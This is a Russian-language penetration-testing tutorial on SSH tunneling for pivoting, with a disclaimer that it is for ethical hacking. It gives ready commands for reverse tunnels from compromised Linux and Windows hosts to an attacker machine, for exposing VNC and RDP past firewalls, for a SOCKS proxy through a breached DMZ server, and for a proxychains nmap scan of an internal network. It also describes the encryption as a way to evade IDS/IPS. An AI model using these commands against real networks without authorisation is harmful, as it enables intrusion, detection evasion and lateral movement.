SSH (Secure Shell) — это сетевой протокол, который предоставляет безопасный способ удаленного доступа к компьютерам и другим сетевым устройствам. SSH создает зашифрованный канал для безопасной передачи данных между клиентом и сервером. Мы уже рассказывали про техники туннелирования при пентесте. Давайте продолжим эту тему и рассмотрим использование SSH-туннелирования в пентестах и постэксплуатации.
Еще по теме: Туннелирование при пивотинге
SSH-туннелирование при пентесте и постэксплуатации
Популярность SSH обусловлена следующими факторами:
- Безопасность. SSH использует современные алгоритмы шифрования для защиты передаваемых данных.
- Универсальность. SSH используется для решения широкого спектра задач, включая удаленное администрирование, передачу файлов и туннелирование портов.
- Широкая поддержка. SSH работает с большинством операционных систем, включая Linux, macOS, Windows.
- Простота использования.
Перенаправление локального порта
SSH Local Port Forwarding — процесс, при котором создается безопасное соединение для перенаправления трафика через SSH-сервер. Работает это следующим образом:
- Клиент устанавливает безопасное SSH-соединение с удаленным сервером. Весь трафик, идущий через этот туннель, будет зашифрован.
- На клиентском компьютере открывается специальный (локальный) порт.
- Весь трафик, отправляемый на этот локальный порт, будет перенаправлен через SSH-туннель на определенный порт на удаленной машине или на другую машину, доступную через эту удаленную машину.
Данный прием может пригодиться вам в нескольких случаях. Первая и чаще всего возникающая ситуация — доступ к внутренним сервисам. Вы можете получить доступ к машине с выходом в Глобальную сеть, а через нее — доступ к компьютеру внутри сети. Такой сценарий мы рассматривали в предыдущем случае. Для продолжения атаки на внутреннюю сеть вы можете создать SSH-туннель.
Статья в образовательных целях и предназначается для обучения этичных хакеров. При написании статьи использовались личные устройства автора. Использование SSH-тунелей для несанкционированного доступа к чужим сетям без разрешения является незаконным. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Второй вариант применения — шифрование, которого вы не добьетесь, используя Rinetd (см. Проброс TCP с помощью Rinetd на Kali Linux). Шифрование позволит вам убить сразу двух зайцев. Первый — обход IDS/IPS. Некоторые из них, не имея возможности проверить, что за данные передаются между двумя машинами в сети, просто никак на это не отреагируют, и вы останетесь незамеченным. Второй «заяц» — это приватность. Как уже говорилось, вы должны убедиться в том, что любые получаемые в ходе аудита данные хранятся и передаются максимально безопасным способом. Использование SSH-туннелей позволит решить эту проблему.
Для нашего примера возьмем сценарий, абсолютно идентичный рассмотренному в предыдущем примере, только теперь реализуем перенаправление потока данных через SSH:
1 |
sudo ssh -N -L -p 443 0.0.0.0:443:10.186.225.128:443 john@91.189.94.40 |
Выполнив эту команду на нашем компьютере, мы получим следующее:
- весь трафик, который пойдет через порт 443, будет перенаправлен на внутренний сервер компании;
- мы используемый скомпрометированный сервер для доступа к машине, у которой нет соединения с внешним миром;
- весь трафик шифруется;
- мы обходим ограничения файервола, используя нестандартный порт для подключения к SSH.

Перенаправление удаленного порта
SSH Remote Port Forwarding — метод, при помощи которого можно перенаправлять трафик с порта на удаленном SSH-сервере на указанный порт на локальной машине (или на другой удаленной машине). Это означает, что все подключения, поступающие на определенный порт на SSH-сервере, будут автоматически перенаправлены через SSH-туннель.

Представьте, что вам удалось получить доступ к удаленному компьютеру, получить хеши паролей, а по ним узнать сами пароли. На компьютере есть VNC-сервер, работающий на порте 5900. Беда в том, что напрямую к данному компьютеру вы подключиться не можете, однако с него можно подключиться к внешним ресурсам, используя порты 80, 443, 25.
1 |
john@office:~# ssh -R -N -p 25 83.99.16.5:25:127.0.0.1:5900 root@83.99.16.5 |
Теперь установлено подключение к вашему компьютеру с удаленной машины, и вы без проблем сможете подключиться к VNC-серверу в обход файервола.
Динамическое перенаправление портов
Самая интересная часть — динамическое перенаправление портов, оно позволяет создать на локальном компьютере своего рода прокси-сервер, через который будет осуществляться туннелирование трафика.
Вводные данные немного изменятся. Представьте, что вам удалось взломать сервер, находящийся в сети DMZ, а у него есть доступ к публичной сети через порт 80. Создадим на своем компьютере SOCKS4-прокси, который будет работать с использованием порта 80 и перенаправлять трафик через SSH-туннель к любому из серверов в сети DMZ.

Для этого на своей машине выполним:
1 |
$sudo ssh -N -D -p 80 127.0.0.1:80 john@93.86.15.20 |
Но это еще не все, для выполнения динамического перенаправления нам понадобится вторая утилита — proxychains. Это бесплатная утилита, позволяющая любой программе, работа которой основана на TCP, пересылать свои данные через цепочку прокси-серверов — TOR, SOCKS4, SOCKS5 или HTTPS.
Для работы с нашим туннелем внесем некоторые правки в конфигурационный файл /etc/proxychains.conf:
1 2 |
[ProxyList] socks4 127.0.0.1 80 |
Теперь все готово. Для примера запустим nmap, который просканирует внутреннюю сеть организации, используя созданный нами туннель и SOCKS4-прокси:
1 |
$sudo proxychains nmap --top-ports=30 -sT -Pn 10.186.225.0/24 |
SSH-туннелирование с помощью Plink
После прочтения приведенного выше материала у вас наверняка возник вопрос: а что же делать с Windows-машинами, ведь в современной сети их обычно достаточно много и, учитывая ограниченные права доступа, не так-то просто установить на них SSH-сервер? На выручку приходит plink.
PuTTY Link, или Plink, — консольная утилита, распространяемая вместе с PuTTY (популярный SSH- и Telnet-клиент). Эта утилита предназначена для автоматизации работы с PuTTY и PSCP (PuTTY SCP client), преимущественно в скриптах.
Plink можно использовать для подключения к удаленным серверам и выполнения команд, так же как и в классическом SSH. Однако Plink обладает несколькими ключевыми особенностями:
поскольку Plink создана для Windows, она работает хорошо с другими программами этой операционной системы и может быть использована в командной строке Windows и скриптах PowerShell;
помимо SSH, Plink поддерживает Telnet, Rlogin и протоколы raw TCP.
Предположим, нам удалось проникнуть на машину под управлением Windows 10 и получить обратный шелл; посмотрим, что мы можем сделать дальше.
Первое действие, которое рассматривалось в предыдущей главе, — это передача файла. Второе, что мы должны выполнить, — осуществить поиск портов, через которые возможно подключение.
Предположим, после решения этих двух задач мы поняли, что хотим использовать порт 3389 для подключения к RDP-серверу. Для этого на взломанной машине выполним следующую команду:
1 |
C:\Users\test\Downloads> plink.exe -ssh -l root -pw test1234 -R 10.83.10.2:1234:127.0.0.1:3389 10.83.10.2 |
Итак, мы применили утилиту Plink для создания SSH-туннеля с использованием протокола Remote Port Forwarding со следующими параметрами:
- plink.exe — исполняемый файл утилиты Plink;
- -ssh — использование SSH-протокола для подключения к удаленному серверу;
- -l root — указание имени пользователя для подключения к удаленному серверу;
- -pw test1234 — передача пароля для пользователя root;
- -R 10.83.10.2:1234:127.0.0.1:3389 — указание IP-адреса и порта, на которых будет прослушиваться удаленный сервер; 127.0.0.1:3389 — указание IP-адреса и порта, на которые будет перенаправляться трафик.
Заключение
SSH-туннелирование представляет собой мощный инструмент в арсенале пентестера. Он позволяет обходить ограничения сети, перенаправлять трафик и создавать безопасные каналы связи. Однако необходимо использовать SSH-туннелирование с осторожностью и соблюдением правил. При правильном использовании SSH-туннелирования можно значительно улучшить эффективность.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Ethernet-туннели при пивотинге
- ICMP-туннелирование при пентесте
- Создание VPN-туннеля на Windows и Linux